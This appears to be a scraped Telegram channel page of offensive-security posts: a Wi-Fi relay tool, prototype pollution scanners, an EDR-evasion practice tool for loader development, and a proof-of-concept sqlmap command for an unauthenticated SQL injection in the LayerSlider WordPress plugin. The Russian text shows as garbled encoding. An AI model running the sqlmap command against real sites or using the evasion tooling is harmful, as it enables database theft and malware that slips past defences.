offsec notes
Kanalga Telegramβda oβtish
223
Obunachilar
Ma'lumot yo'q24 soatlar
Ma'lumot yo'q7 kun
+230 kun
Postlar arxiv
223
WPA_Sycophant
A tool to relay phase 2 authentication attempts to access corporate wireless without cracking the password.
#wifi
223
Prototype pollution
Utils
* PPScan - Client Side Protype pollution Scanner * fingerprint.js - script for finding gadgets * untrusted-types - Chrome extension that abuses Trusted Types to log DOMXSS sinks * pollute.js - simple tool to make it easier to exploit prototype pollutionList of known gadget
* Link - examples of libraries that are vulnerable to Prototype Pollution * Link - payloads for known libraries
223
Repost from Threat Hunt
#maldev #redteam
ΠΠ½ΡΡΡΡΠΌΠ΅Π½Ρ Π΄Π»Ρ ΠΈΠΌΠΈΡΠ°ΡΠΈΠΈ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΡ AV/EDR. Π£ΡΠΈΠ»ΠΈΡΠ° ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΠΎΡΡΠ°ΡΠΈΠ²Π°ΡΡ Π½Π°Π²ΡΠΊΠΈ ΠΎΠ±Ρ
ΠΎΠ΄Π° ΡΡΠ΅Π΄ΡΡΠ² Π·Π°ΡΠΈΡΡ ΠΏΡΠΈ ΡΠΎΠ·Π΄Π°Π½ΠΈΠΈ ΡΠ²ΠΎΠΈΡ
Π·Π°Π³ΡΡΠ·ΡΠΈΠΊΠΎΠ².
1. Π‘ΠΎΠ±ΠΈΡΠ°Π΅ΠΌ ΠΏΡΠΎΠ΅ΠΊΡ
./compile.sh
2. Π‘ΠΎΠ·Π΄Π°ΡΠΌ ΡΠ°ΠΉΠ» ioc.json Ρ ΠΏΠ°ΡΡΠ΅ΡΠ½Π°ΠΌΠΈ ΡΠ΅Π»Π»-ΠΊΠΎΠ΄Π°
3. ΠΠ°ΠΏΡΡΠΊΠ°Π΅ΠΌ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ, ΡΠΊΠ°Π·ΡΠ²Π°Π΅ΠΌ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΎΡ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΠΎΠ³ΠΎ ΠΏΡΠΎΡΠ΅ΡΡΠ°: .\CrimsonEDRPanel.exe -d C:\Temp\CrimsonEDR.dll -p 1234
https://github.com/Helixo32/CrimsonEDR223
Repost from Proxy Bar
CVE-2024-2879 LayerSlider ΠΏΠ»Π°Π³ΠΈΠ½ Π΄Π»Ρ WordPress
*
ΠΠ΅ΡΡΠΈΠΈ LayerSlider 7.9.11 - 7.10.0 - Unauthenticated SQL Injection
*
ΠΠ΅Π΄ΠΎΡΡΠ°ΡΠΎΡΠ½Π΅ ΡΠΊΡΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π΄ΠΎΠ±Π°Π²Π»ΡΡΡ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΠ΅ SQL-Π·Π°ΠΏΡΠΎΡΡ ΠΊ ΡΠΆΠ΅ ΡΡΡΠ΅ΡΡΠ²ΡΡΡΠΈΠΌ, ΠΊΠ°ΠΊ ΠΈΡΠΎΠ³ = ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π΄Π»Ρ ΠΈΠ·Π²Π»Π΅ΡΠ΅Π½ΠΈΡ ΠΊΠΎΠ½ΡΠΈΠ΄Π΅Π½ΡΠΈΠ°Π»ΡΠ½ΠΎΠΉ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ ΠΈΠ· Π±Π°Π·Ρ Π΄Π°Π½Π½ΡΡ
.
*
POC usage:
sqlmap "https:://OLOLO.com/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=" --risk=3 --level=4 --dbms=mysql --technique=T or sqlmap -r request.txt --risk=3 --level=4 --dbms=mysql --technique=T
#wordpress223
Π£ΡΠΈΠ»ΠΈΡΡ Π΄Π»Ρ ΠΏΡΠΎΠ²Π΅Π΄Π΅Π½ΠΈΡ CIS docker / kubernetes Benchmark'ΠΎΠ²
* docker-bench-security
* kube-bench
